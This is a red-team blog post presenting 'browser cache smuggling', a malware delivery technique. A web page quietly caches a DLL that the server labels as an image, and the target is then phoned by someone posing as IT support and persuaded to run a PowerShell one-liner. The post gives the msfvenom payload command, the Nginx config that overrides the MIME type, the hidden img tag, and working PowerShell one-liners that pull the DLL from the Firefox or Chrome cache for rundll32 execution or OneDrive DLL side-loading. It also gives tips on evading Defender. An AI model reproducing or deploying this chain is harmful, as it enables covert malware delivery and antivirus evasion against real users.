On red team engagements, I often use social engineering to get one of my client’s employees to run my malicious code on their machines, allowing me to get access to their system. A typical approach I’ve used is to call them up, tell them I’m from IT support, and then get them to go to an official looking web page that contains some PowerShell code they need to run, to fix some made-up problem.

However, this approach is well known to security vendors, and these days almost all anti-malware and EDR products will block or at least alert on any suspicious looking PowerShell code, especially code that downloads a payload and then executes it. I wanted to find another, stealthier way to deliver a payload to targeted users.

So, the first question I asked myself is what mechanisms are used by an operating system on a daily basis that I could manipulate in order to deliver malware? And then it popped into my head: browser cache!

In this blog post I’ll present a technique in which an attacker social engineers a target employee to visit a web site. The web site will then silently place a DLL payload in the browser’s cache, disguised as an image. On the same web site, the user is socially engineered to run a benign looking PowerShell one liner that moves the DLL payload to a folder, where it will be automatically executed. I’ll also show some other interesting things I found regarding Defender while doing this research.

I/ What is browser cache?

When you navigate on the Internet, your browser loads a ton of files such as images, videos, CSS, JavaScript and so on. Loading the same page twice means that the browser will download the same files twice. That’s useless and it takes a lot of CPU resources as well as network bandwidth.

Modern browsers implement a mechanism that allows them to store these files locally so that they don’t need to download them every time. This mechanism is called the browser cache.

If we look at how Firefox on Windows works, we see that there is a Firefox directory in AppData/Local, that stores what looks like cached files:

And there are quite a few files, around 300MB:

Now let’s purge this directory and navigate to the https://orangecyberdefense.com website. You will see that new files are added while we navigate:

So, it seems we have found a mechanism that automatically downloads files!

However, browsers will not cache just any file provided by a server. It will cache static resources – files whose content is not going to change often. As such, our browsers will mostly cache images, videos and sometimes JS/CSS. It would be great if we could somehow trick a browser into caching files that contain a binary payload, such as a DLL or EXE file. How do we do that?

II/ Manipulating browsers' cache mechanisms

To detect which files to cache, browsers will mainly rely on the Content-Type header that is sent by the web server. For example, in the screenshot below we can see that the file “avatar.jpg” was sent by the server and its content type is “image/jpeg”:

On Linux, web servers typically use the /etc/mime.types file, to know which content type it should return for a specific file. The content of /etc/mime.types typically looks like this:

This file contains the content-type values linked to the extension of the files. As such, when the webserver (Nginx in this case) sees that the file avatar.jpg is requested, it will check in the mime.types file to determine what is the content-type of the .jpg extension, and see that it is image/jpeg:

As an attacker, we can override these values. Remember, our goal is to force the download of either a DLL or an EXE file. To do so, we’ll simply have to change the content type related to the DLL and EXE files from application/x-msdos-program to image/jpeg. This is simply done with the following line in your Nginx configuration:

types { } default_type image/jpeg;

This nullifies the in-memory mime type mapping, and then sets the default content type to “image/jpg” for unknown types (i.e. all files, since we nuked the mappings first). Enclosing this in a “location” block which only matches your payload(s) will achieve the desired effect without turning everything into an “image”. See part III below for the complete config in context.

Next, we will have to generate two things:

  • A DLL, in this case a simple one that will run calc.exe generated via MSFVenom:
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f dll > calc.dll
  • An HTML page in which the DLL is embedded in a img tag:
                <h1>Browser cache smuggling</h1>
                <img src="calc.dll" style="display: none;"></img>

We then empty Firefox’s cache, reload the HTML page and see that the file was downloaded:

Considering the size of the cached files we can conclude that the file starting with 75E… Is our calc DLL. To be sure, we can load the following page on Firefox:


That is listing all the cached files on Firefox. And if we do a string lookup, we’ll see that the calc.dll was cached:

Which means that the DLL was effectively delivered to the system. And what if I told you that this delivery method is not flagged by anti-virus? Yup! Defender is running on the Windows machine that is my target and it’s not yelling anything. Know why? Because when the DLL was downloaded and stored in the cache, it was renamed to a random filename without an extension:

As such, Defender is not scanning the file and our DLL can stay there for as long as we need!

III/ What about execution ?

A typical way to get this working is to social engineer a user, telling them there is something wrong with their system, and that they need to run a command to fix it. We tell them that the command is on an official looking web page. When the page loads, the DLL gets cached onto their system. The user gets the command from the web page, and runs it, which causes the already cached DLL to be executed. With this approach, we ensure that the DLL is still cached when the user runs the command.

The key differentiator between this approach, and social engineering a user to run a C2 stager command, is that the command we get the user to run doesn’t download a malicious payload, as its already on the system, cached by the browser. The idea is to try and make the command as benign looking as possible, to avoid suspicion or detection, and let Firefox do the dirty work by caching the malware DLL file.

To make this work, we need a way to find our DLL between all the other files that are cached by the browser.

If we take a closer look at the size of the cached DLL and the size of the DLL itself, we will see that the cached one is slightly bigger:

The reason is that the cached file is not just the DLL, it’s a file that contains both the DLL file’s content as well as metadata. Amongst the metadata, there is the HTTP response of the Nginx server, containing a few HTTP headers:

As such, all we need to do is to create a flag in the HTTP response of the server that will allow us to identify our DLL. We can accomplish this by modifying the Nginx configuration file in the following way:

server {
	listen 80 default_server;
	listen [::]:80 default_server;
	root /var/www/html;
	index index.html index.htm index.nginx-debian.html;
	server_name _;

	# Adding the HTTP header TAG used to find the real DLL
	location /calc.dll {
		# Override the mime type
		types { } default_type image/jpeg;
		add_header Tag DLLHERE;

If we reload the HTML page, we see that when the server is requested to provide the calc.dll file, its response contains an additional HTTP header that marks our DLL:

Using PowerShell or batch we can search for this specific string to find our DLL in the local cache directory:

At this point we know where our DLL is, so let’s try executing it.

While doing this research I realized that as soon as I renamed the cache file to “calc.dll”, the anti-virus flagged it as being malicious (msfvenom you know…). I tried a lot of things until I realized that rundll32 can execute a DLL that hasn’t got the .dll extension:

All you need to do is to append a dot to the cached filename and rundll32 will execute it. Even stranger, we saw before that the cached file is not just the DLL but also metadata, yet rundll32 doesn’t care about that and will execute the DLL.

Getting a user to execute rundll32 may set off some alarms, even if the DLL is already on the user’s file system. An alternative approach may be simply to move the existing DLL into place, so that it gets executed when the user opens another application. This results in a far more benign command, that doesn’t download or execute anything itself, it only moves an existing file. However, this approach does require that your malicious DLL doesn’t get statically detected by AV.

The following PowerShell one liner will look for the DLL in the cache directory and move it to an appropriate place, such as the OneDrive folder in order to launch a DLL side loading attack:

foreach($f in @("$env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default-release\cache2\entries\")){gci $f -r|%{if(Select-String -Pattern "DLLHERE" -Path $_.FullName){cp $_.FullName $env:LOCALAPPDATA\Microsoft\OneDrive\CRYPTBASE.dll}}}

Next time OneDrive is launched, your malware will be too!

IV/ What about Google Chrome

The way Google Chrome stores files in its cache is a little more complicated to exploit. Indeed, files are not stored individually, they are stored in multiple databases located in the %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache\Cache_Data folder:

As such, retrieving cached files means manipulating the database and this is not easy, especially with PowerShell. At this point I thought it was impossible to weaponize this technique for Chrome until @shifttymike sent me this message:

And that is brilliant! Here is how I put up things together. First we create the DLL via msfvenom:

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f dll > calc.dll

Then we preprend a string that is going to tell us where the DLL starts:

sed -i "1s/^/INDLL/" calc.dll

And append a string to tell us where it ends:

echo -n "OUTDLL" >> calc.dll

At this point we know that our DLL is located between the INDLL and OUTDLL tags in one of Chrome’s cache database , all we need to do is to run some PowerShell code that will be able to analyze the Chrome’s databases and extract the DLL from them. This can be done via the following PowerShell oneliner:

$d="$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache\Cache_Data\";gci $d|%{if([regex]::Matches([System.Text.Encoding]::Default.GetString([System.IO.File]::ReadAllBytes($_.FullName)),"(?<=INDLL)(.*?)(?=OUTDLL)",[System.Text.RegularExpressions.RegexOptions]::Singleline).Count-ne0){[System.IO.File]::WriteAllBytes("$d\hello.dll",[System.Text.Encoding]::Default.GetBytes($matches[0].Value))}}

And effectively, our DLL is found and extracted:

Then we can use rundll32 to execute it:

Or move the DLL to a specific folder as seen previously.

IV/ Conclusion

As far as I know, I haven’t seen this malware delivery method described yet. To me it’s a pretty cool trick since it will allow a red team operator to force the download of malware just by sending a URL to its target. There is no need to trick the target into downloading a malicious file (which could be suspicious), the only thing you have got to take care of is to trick the user into running a benign looking Power Shell one liner. Way stealthier in my opinion ;)!

Last red teamer tip: If you ever find a computer or server on which a browser is installed, you can take a look at the cache folder and read the cached files. Thanks to the metadata you will be able to gather DNS hostnames that will allow you to discover potential targets on the internal network (hey there vSphere :D)!

Happy hacking!

This blogpost was first released on https://sensepost.com/blog/2023/browsers-cache-smuggling/